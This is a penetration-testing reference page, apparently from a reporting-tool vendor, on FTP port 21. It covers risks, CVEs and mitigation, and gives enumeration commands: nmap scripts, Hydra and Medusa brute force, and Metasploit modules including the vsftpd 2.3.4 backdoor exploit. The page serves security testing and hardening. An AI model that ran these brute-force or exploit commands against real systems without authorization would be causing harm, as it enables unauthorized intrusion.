Port 21 – FTP (File Transfer Protocol)

Port 21 is the default port for FTP (File Transfer Protocol), where an FTP server listens on its control channel — the connection that carries login credentials and commands like LIST, RETR, and STOR. The file data itself moves over a separate channel: port 20 in active mode, or a negotiated high port in passive mode. Because classic FTP sends everything, including the password, in cleartext, an exposed port 21 is one of the first services worth checking on any host.

Why It’s Open

FTP predates the web and never fully went away. You’ll still find it on shared hosting, NAS boxes, network printers and MFPs, IP cameras, routers, industrial gear, and scheduled backup or CI jobs that push files overnight. Vendors keep shipping it because it’s simple and every OS has a client built in. On Linux the daemon is usually vsftpd, ProFTPD, or Pure-FTPd; on Windows it’s IIS FTP; on embedded devices it’s whatever the firmware bundled. Where port 21 is open, its encrypted siblings are often one scan away — check for FTPS on port 990 and SFTP, which rides SSH on port 22.

Common Risks

• Cleartext credentials. The username, password, and every command cross the wire unencrypted. Anyone on the path — or sharing the local segment — can sniff a full login with tcpdump or Wireshark.
• Anonymous access. Many servers accept anonymous with a blank or email password, and admins forget it’s enabled. That’s instant read access to the file store, and sometimes write.
• Writable root over a web root. If the FTP directory is also served by a web server, an attacker uploads a webshell and browses to it — plaintext file access becomes remote code execution.
• Backdoored or buggy daemons. vsftpd 2.3.4 shipped with a literal backdoor; ProFTPD’s mod_copy turns unauthenticated file copy into code execution.
• FTP bounce. The PORT command can be abused to make the server open connections to third parties, laundering a port scan or data relay through your FTP host.
• Brute-force friendly. Most setups have no native rate limiting, and device defaults (admin:admin, vendor-specific pairs) are everywhere.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

Detect the service and grab the banner

nmap -sV -p 21 <target>

Run the FTP NSE scripts

nmap -p 21 --script=ftp-anon,ftp-bounce,ftp-syst,ftp-vsftpd-backdoor <target>

Raw banner grab with netcat

nc -nv <target> 21

Connect with the native client

ftp <target>

Test anonymous login

ftp <target>
Name: anonymous
Password: anonymous@

Brute-force with Hydra

hydra -L users.txt -P passwords.txt ftp://<target> -t 4 -f

Brute-force with Medusa

medusa -h <target> -U users.txt -P passwords.txt -M ftp

Metasploit modules

msfconsole -q
use auxiliary/scanner/ftp/ftp_version
set RHOSTS <target>
run

use auxiliary/scanner/ftp/anonymous
set RHOSTS <target>
run

# vsftpd 2.3.4 backdoor (CVE-2011-2523)
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS <target>
run

Log every open instance and successful login you confirm so it lands in the final pentest report instead of a scratch file.

What to Look For

Known CVEs and Exploits

• CVE-2011-2523 — The vsftpd 2.3.4 backdoor. A username ending in :) opens a root shell on TCP 6200. Ready-made via Metasploit’s exploit/unix/ftp/vsftpd_234_backdoor and Exploit-DB 49757.
• CVE-2015-3306 — ProFTPD 1.3.5 mod_copy. Unauthenticated SITE CPFR / SITE CPTO let an attacker copy a payload into the web root and get code execution. Exploit-DB 37262.
• CVE-2019-12815 — The mod_copy problem again, in ProFTPD up to 1.3.5b: the module ignores <Limit READ>/<Limit WRITE>, so a remote user copies arbitrary files without permission. Fixed in 1.3.6a.
• CVE-1999-0017 — FTP bounce. Abuse of the PORT command to proxy connections through the FTP server. Ancient, but still flagged on legacy and embedded stacks that never disabled it.

Mitigation

• Move to SFTP or FTPS. SFTP over SSH (port 22) or FTPS (port 990) both encrypt the session. Plain FTP shouldn’t be the default answer for file transfer anymore.
• Disable anonymous access unless a directory is deliberately public — and if it is, make it read-only and keep it outside any web root.
• Patch the daemon. Never run vsftpd 2.3.4, and unload ProFTPD’s mod_copy unless you genuinely use it.
• Chroot users to their home directory and drop write permissions where they aren’t needed.
• Firewall port 21 to known clients or a management range, and put fail2ban (or the daemon’s own limits) on repeated login failures.
• Confirm FTP bounce is refused. Modern daemons reject cross-host PORT by default — verify yours does after any config change.

Real-World Example

In July 2011 an attacker compromised the vsftpd master download site and slipped a backdoor into vsftpd-2.3.4.tar.gz. For a few days, anyone who downloaded and built that tarball got an FTP server that spawned a root shell on port 6200 whenever a username contained :). It was caught within days and the file was pulled, but backdoored 2.3.4 builds still turn up on the internet and in practice targets like Metasploitable — which is why ftp-vsftpd-backdoor is still a standard nmap check. It’s a clean example of an FTP compromise that has nothing to do with weak passwords and everything to do with trusting a plaintext service and its supply chain.

FAQ

Is port 21 dangerous?

Port 21 is just FTP’s control channel, but it’s risky because standard FTP is unencrypted — credentials and data travel in cleartext — and servers are often left with anonymous access or an unpatched daemon. Treat any internet-facing port 21 as something to lock down or replace with SFTP/FTPS.

What service runs on port 21?

The File Transfer Protocol (FTP). Port 21 carries the control channel — login and commands — while the file data itself moves over port 20 in active mode or a negotiated high port in passive mode.

What’s the difference between port 20 and port 21?

Port 21 is the FTP control channel that handles authentication and commands. Port 20 is the data channel used in active mode to move the actual files. Enumeration and attacks focus on 21 because that’s where login and command handling happen.

How do I secure or close port 21?

Replace FTP with SFTP (port 22) or FTPS (port 990), disable anonymous login, patch or remove vulnerable modules like ProFTPD’s mod_copy, and firewall port 21 to trusted hosts. If nothing needs FTP, stop the daemon and confirm the port is closed with a rescan.

TL;DR

• Service: FTP (File Transfer Protocol) control channel
• Default port: 21/TCP (data on 20/TCP or passive high ports)
• Biggest risk: cleartext credentials, anonymous access, and RCE bugs in vsftpd/ProFTPD
• Mitigation: move to SFTP/FTPS, disable anonymous login, patch the daemon, firewall port 21